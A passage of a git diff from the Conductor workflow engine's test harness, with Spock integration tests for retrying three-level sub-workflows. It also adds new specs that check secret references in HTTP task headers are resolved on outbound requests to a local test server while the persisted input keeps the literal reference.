retry() updates parents asynchronously via the decider queue; the background + // sweeper re-decides the JOIN from CANCELED to IN_PROGRESS (same sweeper race as #1047). + await().atMost(10, TimeUnit.SECONDS).until { + workflowExecutionService.getExecutionStatus(rootWorkflowId, true) + .tasks[3].status == Task.Status.IN_PROGRESS + } + with(workflowExecutionService.getExecutionStatus(rootWorkflowId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 4 + tasks[0].taskType == TASK_TYPE_FORK + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == TASK_TYPE_SUB_WORKFLOW + tasks[1].status == Task.Status.IN_PROGRESS + tasks[2].taskType == 'integration_task_2' + tasks[2].status == Task.Status.COMPLETED + tasks[3].taskType == TASK_TYPE_JOIN + tasks[3].status == Task.Status.IN_PROGRESS + } + + when: "the SUB_WORKFLOW task in mid level workflow is started by issuing a system task call" + def newLeafWorkflowId = workflowExecutionService.getExecutionStatus(midLevelWorkflowId, true).getTasks().get(4).subWorkflowId + sweep(newLeafWorkflowId) + + then: "verify that a new leaf workflow is created and is in RUNNING state" + newLeafWorkflowId != leafWorkflowId + with(workflowExecutionService.getExecutionStatus(newLeafWorkflowId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 1 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.SCHEDULED + } + + when: "poll and complete the 2 tasks in the leaf workflow" + def midJoinId = workflowExecutionService.getExecutionStatus(midLevelWorkflowId, true).getTaskByRefName("fanouttask_join").taskId + def rootJoinId = workflowExecutionService.getExecutionStatus(rootWorkflowId, true).getTaskByRefName("fanouttask_join").taskId + workflowTestUtil.pollAndCompleteTask('integration_task_1', 'task1.integration.worker', ['op': 'task1.done']) + workflowTestUtil.pollAndCompleteTask('integration_task_2', 'task1.integration.worker', ['op': 'task1.done']) + + then: "verify that the new leaf workflow reached COMPLETED state" + with(workflowExecutionService.getExecutionStatus(newLeafWorkflowId, true)) { + status == Workflow.WorkflowStatus.COMPLETED + tasks.size() == 2 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == 'integration_task_2' + tasks[1].status == Task.Status.COMPLETED + } + + when: "the mid level and root workflows are 'decided'" + sweep(midLevelWorkflowId) + sweep(rootWorkflowId) + + and: "JOIN tasks are executed" + asyncSystemTaskExecutor.execute(joinTask, midJoinId) + asyncSystemTaskExecutor.execute(joinTask, rootJoinId) + + then: "verify that the mid level and root workflows reach COMPLETED state" + assertSubWorkflowTaskIsRetriedAndWorkflowCompleted(midLevelWorkflowId) + assertWorkflowIsCompleted(rootWorkflowId) + //endregion + } + + /** + * On a 3-level workflow where all workflows reach FAILED state because of a FAILED task + * in the leaf workflow. + * + * A retry is executed on the mid-level workflow. + * + * Expectation: The mid-level workflow spawns a NEW leaf workflow and also updates its parent (root workflow). + * When the NEW leaf workflow completes successfully, both the mid-level and root workflows also complete successfully. + */ + def "Test retry on the leaf in a 3-level subworkflow"() { + //region Test case + when: "do a retry on the leaf workflow" + workflowExecutor.retry(leafWorkflowId, false) + + then: "verify that the leaf workflow is in RUNNING state and failed task is retried" + with(workflowExecutionService.getExecutionStatus(leafWorkflowId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 3 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == 'integration_task_2' + tasks[1].status == Task.Status.FAILED + tasks[1].retried + tasks[2].taskType == 'integration_task_2' + tasks[2].status == Task.Status.SCHEDULED + tasks[2].retriedTaskId == tasks[1].taskId + } + + then: "verify that the mid-level workflow's SUB_WORKFLOW task is updated" + // retry() updates parents asynchronously via the decider queue; the background + // sweeper re-decides the JOIN from CANCELED to IN_PROGRESS (same sweeper race as #1047). + await().atMost(10, TimeUnit.SECONDS).until { + workflowExecutionService.getExecutionStatus(midLevelWorkflowId, true) + .tasks[3].status == Task.Status.IN_PROGRESS + } + with(workflowExecutionService.getExecutionStatus(midLevelWorkflowId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 4 + tasks[0].taskType == TASK_TYPE_FORK + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == TASK_TYPE_SUB_WORKFLOW + tasks[1].status == Task.Status.IN_PROGRESS + tasks[2].taskType == 'integration_task_2' + tasks[2].status == Task.Status.COMPLETED + tasks[3].taskType == TASK_TYPE_JOIN + tasks[3].status == Task.Status.IN_PROGRESS + } + + and: "verify that the root workflow's SUB_WORKFLOW task is updated" + await().atMost(10, TimeUnit.SECONDS).until { + workflowExecutionService.getExecutionStatus(rootWorkflowId, true) + .tasks[3].status == Task.Status.IN_PROGRESS + } + with(workflowExecutionService.getExecutionStatus(rootWorkflowId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 4 + tasks[0].taskType == TASK_TYPE_FORK + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == TASK_TYPE_SUB_WORKFLOW + tasks[1].status == Task.Status.IN_PROGRESS + tasks[2].taskType == 'integration_task_2' + tasks[2].status == Task.Status.COMPLETED + tasks[3].taskType == TASK_TYPE_JOIN + tasks[3].status == Task.Status.IN_PROGRESS + } + + when: "the mid level and root workflows are 'decided'" + sweep(midLevelWorkflowId) + sweep(rootWorkflowId) + def midJoinId = workflowExecutionService.getExecutionStatus(midLevelWorkflowId, true).getTaskByRefName("fanouttask_join").taskId + def rootJoinId = workflowExecutionService.getExecutionStatus(rootWorkflowId, true).getTaskByRefName("fanouttask_join").taskId + + then: "verify that the mid-level workflow's JOIN task is updated" + with(workflowExecutionService.getExecutionStatus(midLevelWorkflowId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 4 + tasks[0].taskType == TASK_TYPE_FORK + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == TASK_TYPE_SUB_WORKFLOW + tasks[1].status == Task.Status.IN_PROGRESS + !tasks[1].subworkflowChanged + tasks[2].taskType == 'integration_task_2' + tasks[2].status == Task.Status.COMPLETED + tasks[3].taskType == TASK_TYPE_JOIN + tasks[3].status == Task.Status.IN_PROGRESS + } + + and: "verify that the root workflow's JOIN task is updated" + with(workflowExecutionService.getExecutionStatus(rootWorkflowId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 4 + tasks[0].taskType == TASK_TYPE_FORK + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == TASK_TYPE_SUB_WORKFLOW + tasks[1].status == Task.Status.IN_PROGRESS + !tasks[1].subworkflowChanged + tasks[2].taskType == 'integration_task_2' + tasks[2].status == Task.Status.COMPLETED + tasks[3].taskType == TASK_TYPE_JOIN + tasks[3].status == Task.Status.IN_PROGRESS + } + + when: "poll and complete the scheduled task in the leaf workflow" + workflowTestUtil.pollAndCompleteTask('integration_task_2', 'task1.integration.worker', ['op': 'task1.done']) + + then: "verify that the leaf workflow reached COMPLETED state" + with(workflowExecutionService.getExecutionStatus(leafWorkflowId, true)) { + status == Workflow.WorkflowStatus.COMPLETED + tasks.size() == 3 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == 'integration_task_2' + tasks[1].status == Task.Status.FAILED + tasks[1].retried + tasks[2].taskType == 'integration_task_2' + tasks[2].status == Task.Status.COMPLETED + tasks[2].retriedTaskId == tasks[1].taskId + } + + when: "the mid level and root workflows are 'decided'" + sweep(midLevelWorkflowId) + sweep(rootWorkflowId) + + and: "JOIN tasks are executed" + asyncSystemTaskExecutor.execute(joinTask, midJoinId) + asyncSystemTaskExecutor.execute(joinTask, rootJoinId) + + then: "verify that the mid level and root workflows reach COMPLETED state" + assertWorkflowIsCompleted(midLevelWorkflowId) + assertWorkflowIsCompleted(rootWorkflowId) + //endregion + } + + /** + * On a 3-level workflow where all workflows reach FAILED state because of a FAILED task + * in the leaf workflow. + * + * A retry is executed with resume flag on the root workflow. + * + * Expectation: The leaf workflow is retried and both its parent (mid-level) and grand parent (root) workflows are also retried. + * When the leaf workflow completes successfully, both the mid-level and root workflows also complete successfully. + */ + def "Test retry on the root with resume flag in a 3-level subworkflow"() { + //region Test case + when: "do a retry on the root workflow" + workflowExecutor.retry(rootWorkflowId, true) + + then: "verify that the sub workflow task in root workflow is IN_PROGRESS state" + // retry() updates parents asynchronously via the decider queue; the background + // sweeper re-decides the JOIN from CANCELED to IN_PROGRESS (same sweeper race as #1047). + await().atMost(10, TimeUnit.SECONDS).until { + workflowExecutionService.getExecutionStatus(rootWorkflowId, true) + .tasks[3].status == Task.Status.IN_PROGRESS + } + with(workflowExecutionService.getExecutionStatus(rootWorkflowId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 4 + tasks[0].taskType == TASK_TYPE_FORK + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == TASK_TYPE_SUB_WORKFLOW + tasks[1].status == Task.Status.IN_PROGRESS + tasks[2].taskType == 'integration_task_2' + tasks[2].status == Task.Status.COMPLETED + tasks[3].taskType == TASK_TYPE_JOIN + tasks[3].status == Task.Status.IN_PROGRESS + } + + and: "verify that the sub workflow task in mid level workflow is IN_PROGRESS state" + await().atMost(10, TimeUnit.SECONDS).until { + workflowExecutionService.getExecutionStatus(midLevelWorkflowId, true) + .tasks[3].status == Task.Status.IN_PROGRESS + } + with(workflowExecutionService.getExecutionStatus(midLevelWorkflowId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 4 + tasks[0].taskType == TASK_TYPE_FORK + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == TASK_TYPE_SUB_WORKFLOW + tasks[1].status == Task.Status.IN_PROGRESS + tasks[2].taskType == 'integration_task_2' + tasks[2].status == Task.Status.COMPLETED + tasks[3].taskType == TASK_TYPE_JOIN + tasks[3].status == Task.Status.IN_PROGRESS + } + + and: "verify that the previously failed task in leaf workflow is in SCHEDULED state" + with(workflowExecutionService.getExecutionStatus(leafWorkflowId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 3 + tasks[1].taskType == 'integration_task_2' + tasks[1].status == Task.Status.FAILED + tasks[1].retried + tasks[2].taskType == 'integration_task_2' + tasks[2].status == Task.Status.SCHEDULED + tasks[2].retriedTaskId == tasks[1].taskId + } + + when: "the mid level and root workflows are 'decided'" + sweep(midLevelWorkflowId) + sweep(rootWorkflowId) + def midJoinId = workflowExecutionService.getExecutionStatus(midLevelWorkflowId, true).getTaskByRefName("fanouttask_join").taskId + def rootJoinId = workflowExecutionService.getExecutionStatus(rootWorkflowId, true).getTaskByRefName("fanouttask_join").taskId + + then: "verify the mid level workflow's JOIN is updated" + with(workflowExecutionService.getExecutionStatus(midLevelWorkflowId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 4 + tasks[0].taskType == TASK_TYPE_FORK + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == TASK_TYPE_SUB_WORKFLOW + tasks[1].status == Task.Status.IN_PROGRESS + !tasks[1].subworkflowChanged // flag is reset + tasks[2].taskType == 'integration_task_2' + tasks[2].status == Task.Status.COMPLETED + tasks[3].taskType == TASK_TYPE_JOIN + tasks[3].status == Task.Status.IN_PROGRESS + } + + and: "verify the root workflow's JOIN is updated" + with(workflowExecutionService.getExecutionStatus(rootWorkflowId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 4 + tasks[0].taskType == TASK_TYPE_FORK + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == TASK_TYPE_SUB_WORKFLOW + tasks[1].status == Task.Status.IN_PROGRESS + !tasks[1].subworkflowChanged // flag is reset + tasks[2].taskType == 'integration_task_2' + tasks[2].status == Task.Status.COMPLETED + tasks[3].taskType == TASK_TYPE_JOIN + tasks[3].status == Task.Status.IN_PROGRESS + } + + when: "poll and complete the integration_task_2 task" + workflowTestUtil.pollAndCompleteTask('integration_task_2', 'task1.integration.worker', ['op': 'task1.done']) + + then: "verify that the leaf workflow is in COMPLETED state" + with(workflowExecutionService.getExecutionStatus(leafWorkflowId, true)) { + status == Workflow.WorkflowStatus.COMPLETED + tasks.size() == 3 + tasks[1].taskType == 'integration_task_2' + tasks[1].status == Task.Status.FAILED + tasks[1].retried + tasks[2].taskType == 'integration_task_2' + tasks[2].status == Task.Status.COMPLETED + } + + when: "the mid level and root workflows are 'decided'" + sweep(midLevelWorkflowId) + sweep(rootWorkflowId) + + and: "JOIN tasks are executed" + asyncSystemTaskExecutor.execute(joinTask, midJoinId) + asyncSystemTaskExecutor.execute(joinTask, rootJoinId) + + then: "the new mid level workflow is in COMPLETED state" + assertWorkflowIsCompleted(midLevelWorkflowId) + + and: "the root workflow is in COMPLETED state" + assertWorkflowIsCompleted(rootWorkflowId) + //endregion + } + + /** + * On a 3-level workflow where all workflows reach FAILED state because of a FAILED task + * in the leaf workflow. + * + * A retry is executed on the mid-level workflow. + * + * Expectation: The leaf workflow resumes its FAILED task and updates both its parent (mid-level) and grandparent (root). + * When the leaf workflow completes successfully, both the mid-level and root workflows also complete successfully. + */ + def "Test retry on the mid-level with resume flag in a 3-level subworkflow"() { + //region Test case + when: "do a retry on the root workflow" + workflowExecutor.retry(midLevelWorkflowId, true) + + then: "verify that the sub workflow task in root workflow is updated" + // retry() updates parents asynchronously via the decider queue; the background + // sweeper re-decides the JOIN from CANCELED to IN_PROGRESS (same sweeper race as #1047). + await().atMost(10, TimeUnit.SECONDS).until { + workflowExecutionService.getExecutionStatus(rootWorkflowId, true) + .tasks[3].status == Task.Status.IN_PROGRESS + } + with(workflowExecutionService.getExecutionStatus(rootWorkflowId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 4 + tasks[0].taskType == TASK_TYPE_FORK + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == TASK_TYPE_SUB_WORKFLOW + tasks[1].status == Task.Status.IN_PROGRESS + tasks[2].taskType == 'integration_task_2' + tasks[2].status == Task.Status.COMPLETED + tasks[3].taskType == TASK_TYPE_JOIN + tasks[3].status == Task.Status.IN_PROGRESS + } + + and: "verify that the sub workflow task in mid level workflow is updated" + await().atMost(10, TimeUnit.SECONDS).until { + workflowExecutionService.getExecutionStatus(midLevelWorkflowId, true) + .tasks[3].status == Task.Status.IN_PROGRESS + } + with(workflowExecutionService.getExecutionStatus(midLevelWorkflowId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 4 + tasks[0].taskType == TASK_TYPE_FORK + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == TASK_TYPE_SUB_WORKFLOW + tasks[1].status == Task.Status.IN_PROGRESS + tasks[2].taskType == 'integration_task_2' + tasks[2].status == Task.Status.COMPLETED + tasks[3].taskType == TASK_TYPE_JOIN + tasks[3].status == Task.Status.IN_PROGRESS + } + + and: "verify that the previously failed task in leaf workflow is in SCHEDULED state" + with(workflowExecutionService.getExecutionStatus(leafWorkflowId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 3 + tasks[1].taskType == 'integration_task_2' + tasks[1].status == Task.Status.FAILED + tasks[1].retried + tasks[2].taskType == 'integration_task_2' + tasks[2].status == Task.Status.SCHEDULED + tasks[2].retriedTaskId == tasks[1].taskId + } + + when: "the mid level and root workflows are 'decided'" + sweep(midLevelWorkflowId) + sweep(rootWorkflowId) + def midJoinId = workflowExecutionService.getExecutionStatus(midLevelWorkflowId, true).getTaskByRefName("fanouttask_join").taskId + def rootJoinId = workflowExecutionService.getExecutionStatus(rootWorkflowId, true).getTaskByRefName("fanouttask_join").taskId + + then: "verify the mid level workflow's JOIN is updated" + with(workflowExecutionService.getExecutionStatus(midLevelWorkflowId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 4 + tasks[0].taskType == TASK_TYPE_FORK + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == TASK_TYPE_SUB_WORKFLOW + tasks[1].status == Task.Status.IN_PROGRESS + !tasks[1].subworkflowChanged // flag is reset after decide + tasks[2].taskType == 'integration_task_2' + tasks[2].status == Task.Status.COMPLETED + tasks[3].taskType == TASK_TYPE_JOIN + tasks[3].status == Task.Status.IN_PROGRESS + } + + and: "verify the root workflow's JOIN is updated" + with(workflowExecutionService.getExecutionStatus(rootWorkflowId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 4 + tasks[0].taskType == TASK_TYPE_FORK + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == TASK_TYPE_SUB_WORKFLOW + tasks[1].status == Task.Status.IN_PROGRESS + !tasks[1].subworkflowChanged // flag is reset after decide + tasks[2].taskType == 'integration_task_2' + tasks[2].status == Task.Status.COMPLETED + tasks[3].taskType == TASK_TYPE_JOIN + tasks[3].status == Task.Status.IN_PROGRESS + } + + when: "poll and complete the previously failed integration_task_2 task" + workflowTestUtil.pollAndCompleteTask('integration_task_2', 'task1.integration.worker', ['op': 'task1.done']) + + then: "verify that the leaf workflow is in COMPLETED state" + with(workflowExecutionService.getExecutionStatus(leafWorkflowId, true)) { + status == Workflow.WorkflowStatus.COMPLETED + tasks.size() == 3 + tasks[1].taskType == 'integration_task_2' + tasks[1].status == Task.Status.FAILED + tasks[1].retried + tasks[2].taskType == 'integration_task_2' + tasks[2].status == Task.Status.COMPLETED + } + + when: "the mid level and root workflows are 'decided'" + sweep(midLevelWorkflowId) + sweep(rootWorkflowId) + + and: "JOIN tasks are executed" + asyncSystemTaskExecutor.execute(joinTask, midJoinId) + asyncSystemTaskExecutor.execute(joinTask, rootJoinId) + + then: "the new mid level workflow is in COMPLETED state" + assertWorkflowIsCompleted(midLevelWorkflowId) + + and: "the root workflow is in COMPLETED state" + assertWorkflowIsCompleted(rootWorkflowId) + //endregion + } + + /** + * On a 3-level workflow where all workflows reach FAILED state because of a FAILED task + * in the leaf workflow. + * + * A retry is executed with resume flag on the leaf workflow. + * + * Expectation: The leaf workflow resumes its FAILED task and updates both its parent (mid-level) and grandparent (root). + * When the leaf workflow completes successfully, both the mid-level and root workflows also complete successfully. + */ + def "Test retry on the leaf with resume flag in a 3-level subworkflow"() { + //region Test case + when: "do a retry on the leaf workflow" + workflowExecutor.retry(leafWorkflowId, true) + + then: "verify that the leaf workflow is in RUNNING state and failed task is retried" + with(workflowExecutionService.getExecutionStatus(leafWorkflowId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 3 + tasks[1].taskType == 'integration_task_2' + tasks[1].status == Task.Status.FAILED + tasks[1].retried + tasks[2].taskType == 'integration_task_2' + tasks[2].status == Task.Status.SCHEDULED + tasks[2].retriedTaskId == tasks[1].taskId + } + + then: "verify that the mid-level workflow is updated" + // retry() updates parents asynchronously via the decider queue; the background + // sweeper re-decides the JOIN from CANCELED to IN_PROGRESS (same sweeper race as #1047). + await().atMost(10, TimeUnit.SECONDS).until { + workflowExecutionService.getExecutionStatus(midLevelWorkflowId, true) + .tasks[3].status == Task.Status.IN_PROGRESS + } + with(workflowExecutionService.getExecutionStatus(midLevelWorkflowId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 4 + tasks[0].taskType == TASK_TYPE_FORK + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == TASK_TYPE_SUB_WORKFLOW + tasks[1].status == Task.Status.IN_PROGRESS + tasks[2].taskType == 'integration_task_2' + tasks[2].status == Task.Status.COMPLETED + tasks[3].taskType == TASK_TYPE_JOIN + tasks[3].status == Task.Status.IN_PROGRESS + } + + and: "verify that the root workflow is updated" + await().atMost(10, TimeUnit.SECONDS).until { + workflowExecutionService.getExecutionStatus(rootWorkflowId, true) + .tasks[3].status == Task.Status.IN_PROGRESS + } + with(workflowExecutionService.getExecutionStatus(rootWorkflowId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 4 + tasks[0].taskType == TASK_TYPE_FORK + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == TASK_TYPE_SUB_WORKFLOW + tasks[1].status == Task.Status.IN_PROGRESS + tasks[2].taskType == 'integration_task_2' + tasks[2].status == Task.Status.COMPLETED + tasks[3].taskType == TASK_TYPE_JOIN + tasks[3].status == Task.Status.IN_PROGRESS + } + + when: "the mid level and root workflows are 'decided'" + sweep(midLevelWorkflowId) + sweep(rootWorkflowId) + def midJoinId = workflowExecutionService.getExecutionStatus(midLevelWorkflowId, true).getTaskByRefName("fanouttask_join").taskId + def rootJoinId = workflowExecutionService.getExecutionStatus(rootWorkflowId, true).getTaskByRefName("fanouttask_join").taskId + + then: "verify the mid level workflow's JOIN is updated" + with(workflowExecutionService.getExecutionStatus(midLevelWorkflowId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 4 + tasks[0].taskType == TASK_TYPE_FORK + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == TASK_TYPE_SUB_WORKFLOW + tasks[1].status == Task.Status.IN_PROGRESS + !tasks[1].subworkflowChanged // flag is reset after decide + tasks[2].taskType == 'integration_task_2' + tasks[2].status == Task.Status.COMPLETED + tasks[3].taskType == TASK_TYPE_JOIN + tasks[3].status == Task.Status.IN_PROGRESS + } + + and: "verify the root workflow's JOIN is updated" + with(workflowExecutionService.getExecutionStatus(rootWorkflowId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 4 + tasks[0].taskType == TASK_TYPE_FORK + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == TASK_TYPE_SUB_WORKFLOW + tasks[1].status == Task.Status.IN_PROGRESS + !tasks[1].subworkflowChanged // flag is reset after decide + tasks[2].taskType == 'integration_task_2' + tasks[2].status == Task.Status.COMPLETED + tasks[3].taskType == TASK_TYPE_JOIN + tasks[3].status == Task.Status.IN_PROGRESS + } + + when: "poll and complete the scheduled task in the leaf workflow" + workflowTestUtil.pollAndCompleteTask('integration_task_2', 'task2.integration.worker', ['op': 'task2.done']) + + then: "verify that the leaf workflow reached COMPLETED state" + with(workflowExecutionService.getExecutionStatus(leafWorkflowId, true)) { + status == Workflow.WorkflowStatus.COMPLETED + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == 'integration_task_2' + tasks[1].status == Task.Status.FAILED + tasks[1].retried + tasks[2].taskType == 'integration_task_2' + tasks[2].status == Task.Status.COMPLETED + tasks[2].retriedTaskId == tasks[1].taskId + } + + when: "the mid level and root workflows are 'decided'" + sweep(midLevelWorkflowId) + sweep(rootWorkflowId) + + and: "JOIN tasks are executed" + asyncSystemTaskExecutor.execute(joinTask, midJoinId) + asyncSystemTaskExecutor.execute(joinTask, rootJoinId) + + then: "the new mid level workflow is in COMPLETED state" + assertWorkflowIsCompleted(midLevelWorkflowId) + + and: "the root workflow is in COMPLETED state" + assertWorkflowIsCompleted(rootWorkflowId) + //endregion + } + + void assertWorkflowIsCompleted(String workflowId) { + assert with(workflowExecutionService.getExecutionStatus(workflowId, true)) { + status == Workflow.WorkflowStatus.COMPLETED + tasks.size() == 4 + tasks[0].taskType == TASK_TYPE_FORK + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == TASK_TYPE_SUB_WORKFLOW + tasks[1].status == Task.Status.COMPLETED + !tasks[1].subworkflowChanged // flag is reset after decide + tasks[2].taskType == 'integration_task_2' + tasks[2].status == Task.Status.COMPLETED + tasks[3].taskType == TASK_TYPE_JOIN + tasks[3].status == Task.Status.COMPLETED + } + } + + void assertSubWorkflowTaskIsRetriedAndWorkflowCompleted(String workflowId) { + assert with(workflowExecutionService.getExecutionStatus(workflowId, true)) { + status == Workflow.WorkflowStatus.COMPLETED + tasks.size() == 5 + tasks[0].taskType == TASK_TYPE_FORK + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == TASK_TYPE_SUB_WORKFLOW + tasks[1].status == Task.Status.FAILED + tasks[1].retried + tasks[2].taskType == 'integration_task_2' + tasks[2].status == Task.Status.COMPLETED + tasks[3].taskType == TASK_TYPE_JOIN + tasks[3].status == Task.Status.COMPLETED + tasks[4].taskType == TASK_TYPE_SUB_WORKFLOW + tasks[4].status == Task.Status.COMPLETED + tasks[4].retriedTaskId == tasks[1].taskId + } + } + +} diff --git a/test-harness/src/test/groovy/com/netflix/conductor/test/integration/HttpTaskSecretSpec.groovy b/test-harness/src/test/groovy/com/netflix/conductor/test/integration/HttpTaskSecretSpec.groovy new file mode 100644 index 0000000..558ea4d --- /dev/null +++ b/test-harness/src/test/groovy/com/netflix/conductor/test/integration/HttpTaskSecretSpec.groovy @@ -0,0 +1,130 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.test.integration + +import org.springframework.beans.factory.annotation.Autowired + +import com.netflix.conductor.common.metadata.tasks.Task +import com.netflix.conductor.common.metadata.workflow.WorkflowDef +import com.netflix.conductor.common.metadata.workflow.WorkflowTask +import com.netflix.conductor.dao.QueueDAO +import com.netflix.conductor.tasks.http.HttpTask +import com.netflix.conductor.test.base.AbstractSpecification + +import com.sun.net.httpserver.HttpServer + +/** + * End-to-end integration test proving that an HTTP system task resolves a + * {@code ${workflow.secrets.*}} reference on its ACTUAL outbound HTTP request (server-side + * hand-off in {@code AsyncSystemTaskExecutor#execute}), while the persisted task input keeps the + * literal reference untouched. + */ +class HttpTaskSecretSpec extends AbstractSpecification { + + @Autowired + QueueDAO queueDAO + + @Autowired + HttpTask httpTask + + private static final String WORKFLOW_NAME = 'http_task_secret_wf' + private static final String SECRET_LITERAL = '${workflow.secrets.HTTP_TOKEN}' + + private static HttpServer server + private static volatile String receivedSecretHeader + + def setupSpec() { + System.setProperty("CONDUCTOR_SECRET_HTTP_TOKEN", "s3cr3t") + + server = HttpServer.create(new InetSocketAddress(0), 0) + server.createContext("/echo", { exchange -> + receivedSecretHeader = exchange.getRequestHeaders().getFirst("X-Secret") + exchange.getRequestBody().withCloseable { it.readAllBytes() } + def responseBody = '{"ok":true}'.getBytes("UTF-8") + exchange.getResponseHeaders().add("Content-Type", "application/json") + exchange.sendResponseHeaders(200, responseBody.length) + exchange.getResponseBody().withCloseable { os -> os.write(responseBody) } + }) + server.start() + } + + def cleanupSpec() { + server.stop(0) + System.clearProperty("CONDUCTOR_SECRET_HTTP_TOKEN") + } + + def setup() { + def wfTask = new WorkflowTask() + wfTask.name = 'http_task_secret' + wfTask.taskReferenceName = 'http_task_secret_ref' + wfTask.type = 'HTTP' + wfTask.inputParameters = [ + http_request: [ + uri : "http://localhost:${server.getAddress().getPort()}/echo".toString(), + method : 'POST', + contentType: 'application/json', + accept : 'application/json', + headers : ['X-Secret': SECRET_LITERAL] + ] + ] + + def wfDef = new WorkflowDef() + wfDef.name = WORKFLOW_NAME + wfDef.version = 1 + wfDef.tasks = [wfTask] + wfDef.ownerEmail = 'test@example.com' + wfDef.timeoutSeconds = 3600 + wfDef.timeoutPolicy = WorkflowDef.TimeoutPolicy.ALERT_ONLY + metadataService.registerWorkflowDef(wfDef) + } + + def cleanup() { + try { metadataService.unregisterWorkflowDef(WORKFLOW_NAME, 1) } catch (ignored) {} + workflowTestUtil.clearWorkflows() + } + + def "HTTP task resolves secret on outbound request but keeps literal in persisted input"() { + given: "the mock endpoint has not yet received a request" + receivedSecretHeader = null + + when: "the workflow is started" + def workflowId = startWorkflow(WORKFLOW_NAME, 1, 'http-task-secret-test', [:], null) + + then: "the HTTP task is scheduled and its persisted input keeps the literal secret reference" + def scheduled = null + conditions.eventually { + scheduled = workflowExecutionService.getExecutionStatus(workflowId, true) + .tasks.find { it.taskType == 'HTTP' } + assert scheduled != null + assert scheduled.status == Task.Status.SCHEDULED + } + scheduled.inputData.http_request.headers.'X-Secret' == SECRET_LITERAL + + when: "the HTTP system task is executed" + List polledTaskIds = [] + conditions.eventually { + polledTaskIds = queueDAO.pop("HTTP", 1, 200) + assert !polledTaskIds.isEmpty() + } + asyncSystemTaskExecutor.execute(httpTask, polledTaskIds.first()) + + then: "the secret was resolved on the actual outbound request" + receivedSecretHeader == 's3cr3t' + + and: "the persisted task input still keeps the literal secret reference and the task completed" + def completedTask = workflowExecutionService.getExecutionStatus(workflowId, true) + .tasks.find { it.taskType == 'HTTP' } + completedTask.inputData.http_request.headers.'X-Secret' == SECRET_LITERAL + completedTask.status == Task.Status.COMPLETED + } +} diff --git a/test-harness/src/test/groovy/com/netflix/conductor/test/integration/InlineSecretSpec.groovy b/test-harness/src/test/groovy/com/netflix/conductor/test/integration/InlineSecretSpec.groovy new file mode 100644 index 0000000..b5c2551 --- /dev/null +++ b/test-harness/src/test/groovy/com/netflix/conductor/test/integration/InlineSecretSpec.groovy @@ -0,0 +1,79 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.test.integration + +import com.netflix.conductor.common.metadata.workflow.WorkflowDef +import com.netflix.conductor.common.metadata.workflow.WorkflowTask +import com.netflix.conductor.test.base.AbstractSpecification + +/** + * End-to-end integration test proving that {@code ${workflow.secrets.X}} is resolved for + * synchronous system tasks (e.g. INLINE) that execute directly in the decide loop, not just at + * the worker-poll / async-system-task hand-off points. + *

